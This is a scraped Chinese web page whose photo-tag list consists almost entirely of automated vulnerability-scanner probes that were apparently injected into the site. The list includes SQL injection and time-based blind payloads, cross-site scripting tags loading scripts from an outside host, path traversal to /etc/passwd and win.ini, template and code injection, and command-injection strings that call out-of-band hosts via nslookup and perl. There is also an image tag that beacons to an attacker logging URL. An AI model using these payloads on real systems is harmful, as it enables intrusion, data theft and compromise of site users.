×
照片标签：
- 1
- 1'"
- \
- 1 %2527%2522
- @@4SUYL
- JyI=
- '"
- ''""
- 2iP3bGkF
- 1<esi:include src="http://bxss.me/rpb.png"/>
- ${9999155+10000425}
- response.write(9385783*9734737)
- '+response.write(9385783*9734737)+'
- ../../../../../../../../../../etc/passwd
- 12345'"\'\")
- "+response.write(9385783*9734737)+"
- 1&n914620=v907543
- ../../../../../../../../../../windows/win.ini
- '.gethostbyname(lc('hitql'.'kyrkaqjlc4ba4.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(97).chr(85).chr(102).chr(90).'
- 1some_inexistent_file_with_long_name .jpg
- '"()
- )
- echo kmzbwi$()\ bgbckr\nz^xyu||a #' &echo kmzbwi$()\ bgbckr\nz^xyu||a #|" &echo kmzbwi$()\ bgbckr\nz^xyu||a #
- ".gethostbyname(lc("hitmh"."inofwylyb31c3.bxss.me."))."A".chr(67).chr(hex("58")).chr(118).chr(79).chr(105).chr(87)."
- ../1
- !(()&&!|*|*|
- &echo kakjqd$()\ hoiwst\nz^xyu||a #' &echo kakjqd$()\ hoiwst\nz^xyu||a #|" &echo kakjqd$()\ hoiwst\nz^xyu||a #
- Http://bxss.me/t/fit.txt
- ^(#$!@#$)(()))******
- |echo wftifs$()\ bmgofn\nz^xyu||a #' |echo wftifs$()\ bmgofn\nz^xyu||a #|" |echo wftifs$()\ bmgofn\nz^xyu||a #
- '
- "
- (nslookup hituoyhqcitah37aa5.bxss.me||perl -e "gethostbyname('hituoyhqcitah37aa5.bxss.me')")
- ${@print(md5(31337))}
- ${@print(md5(31337))}\
- $(nslookup hitedlasmftwb16d65.bxss.me||perl -e "gethostbyname('hitedlasmftwb16d65.bxss.me')")
- HttP://bxss.me/t/xss.html?%00
- bxss.me/t/xss.html?%00
- &(nslookup hitdkdgijpncdd6fb0.bxss.me||perl -e "gethostbyname('hitdkdgijpncdd6fb0.bxss.me')")&'\"`0&(nslookup hitdkdgijpncdd6fb0.bxss.me||perl -e "gethostbyname('hitdkdgijpncdd6fb0.bxss.me')")&`'
- '.print(md5(31337)).'
- |(nslookup hiternepbwybbf6e4b.bxss.me||perl -e "gethostbyname('hiternepbwybbf6e4b.bxss.me')")
- "+"A".concat(70-3).concat(22*4).concat(104).concat(65).concat(117).concat(76)+(require"socket" Socket.gethostbyname("hituf"+"brgnyfkgf7bc7.bxss.me.")[3].to_s)+"
- )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
- /xfs.bxss.me
- `(nslookup hitacvzhpwtnd460d8.bxss.me||perl -e "gethostbyname('hitacvzhpwtnd460d8.bxss.me')")`
- '+'A'.concat(70-3).concat(22*4).concat(108).concat(67).concat(98).concat(86)+(require'socket' Socket.gethostbyname('hitar'+'ujfxmnzr75981.bxss.me.')[3].to_s)+'
- http://bxss.me/t/fit.txt?.jpg
- bxss.me
- <!--
- bibs
- 1'"()&%<acx><ScRiPt >1R9D(9831)</ScRiPt>
- bibs/.
- '"()&%<acx><ScRiPt >1R9D(9564)</ScRiPt>
- 19261373
- acu6221＜s1﹥s2ʺs3ʹuca6221
- acux3988z1z2abcxuca3988
- {{50092*50384}}
- acu1712＜s1﹥s2ʺs3ʹuca1712
- acux2181z1z2abcxuca2181
- {{49615*50007}}
- acu4699＜s1﹥s2ʺs3ʹuca4699
- acux6552z1z2abcxuca6552
- CWS000x=1N@EI)@ HiP"DF G&َ7܂rX
- {{49990*49509}}
- 1"onmouseover=1R9D(9034)"
- 1" XRdV=1R9D([!+!]) HKU="
- 1\u0022onmouseover=1R9D(9630)\u0022
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%31%52%39%44%28%39%33%39%33%29%22
- "onmouseover=1R9D(9526)//
- 1"sTYLe='acu:Expre/**/SSion(1R9D(9284))'bad="
- 1"><script>1R9D(9492)</script>
- 1<ScRiPt >1R9D(9934)</ScRiPt>
- 1<WBQZRY>CL6ZF[!+!]</WBQZRY>
- 1<script>1R9D(9011)</script>
- 1<ScR<ScRiPt>IpT>1R9D(9167)</sCr<ScRiPt>IpT>
- 1<ScRiPt >1R9D(9538)</ScRiPt>
- 1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9875></ScRiPt>
- 1< ScRiPt >1R9D(9943)</ScRiPt>
- 1<video><source onerror="javascript:1R9D(9331)">
- 1<svg onload=1R9D(9006)
- 1<isindex type=image src=1 onerror=1R9D(9960)>
- 1<iframe src='data:text/html
- 1<body onload=1R9D(9272)>
- 1<img src=//xss.bxss.me/t/dot.gif onload=1R9D(9664)>
- 1<img src=xyz OnErRor=1R9D(9047)>
- 1<img/src=">" onerror=alert(9298)>
- %31%3C%53%63%52%69%50%74%20%3E%31%52%39%44%289653%29%3C%2F%73%43%72%69%70%54%3E
- 1\u003CScRiPt\1R9D(9716)\u003C/sCripT\u003E
- 1<
- <img acu onmouseover=1R9D(9576) //>
- 1<input autofocus onfocus=1R9D(9788)>
- <a HrEF=http://xss.bxss.me></a>
- <a HrEF=jaVaScRiPT:>
- [url=http://xss.bxss.me][/url]
- 1<img<!-- --> src=x onerror=alert(9978)
- 1}body{acu:Expre/**/SSion(1R9D(9388))}
- 1<% contenteditable onresize=1R9D(9937)>
- 1YZXjw <ScRiPt >1R9D(9675)</ScRiPt>
- 1<WMM1W4>FPAVZ[!+!]</WMM1W4>
- 1<ifRAme sRc=9111.com></IfRamE>
- 1<rhP1dE x=9315>
- 1<img sRc='http://attacker-9110/log.php?
- 1<zxsRFE<
- foMVzqfo
- -1 OR 2+529-529-1=0+0+0+1 --
- -1 OR 2+525-525-1=0+0+0+1
- -1' OR 2+601-601-1=0+0+0+1 --
- -1' OR 2+678-678-1=0+0+0+1 or 'urpKp44n'='
- -1" OR 2+100-100-1=0+0+0+1 --
- 641'
- if(now()=sysdate()
- sleep(12)
- 0)
- 0'XOR(if(now()=sysdate()
- 0))XOR'Z
- 0"XOR(if(now()=sysdate()
- 0))XOR"Z
- (select(0)from(select(sleep(12)))v)/*'+(select(0)from(select(sleep(12)))v)+'"+(select(0)from(select(sleep(12)))v)+"*/
- -1
- -1)
- 1 waitfor delay '0:0:12' --
- q35LDFRq'
- -5 OR 980=(SELECT 980 FROM PG_SLEEP(12))--
- -5) OR 632=(SELECT 632 FROM PG_SLEEP(12))--
- -1)) OR 300=(SELECT 300 FROM PG_SLEEP(12))--
- mNs2KMfc' OR 503=(SELECT 503 FROM PG_SLEEP(12))--
- FCucno2f') OR 993=(SELECT 993 FROM PG_SLEEP(12))--
- No1evzj1')) OR 243=(SELECT 243 FROM PG_SLEEP(12))--
- 1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99)
- 12)
- 1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98)
- 12)||'
- '||(select 1 from (select pg_sleep(12))x)||'
- ''||(select 1 from (select pg_sleep(12))x)||''
微信扫一扫, 保存到手机
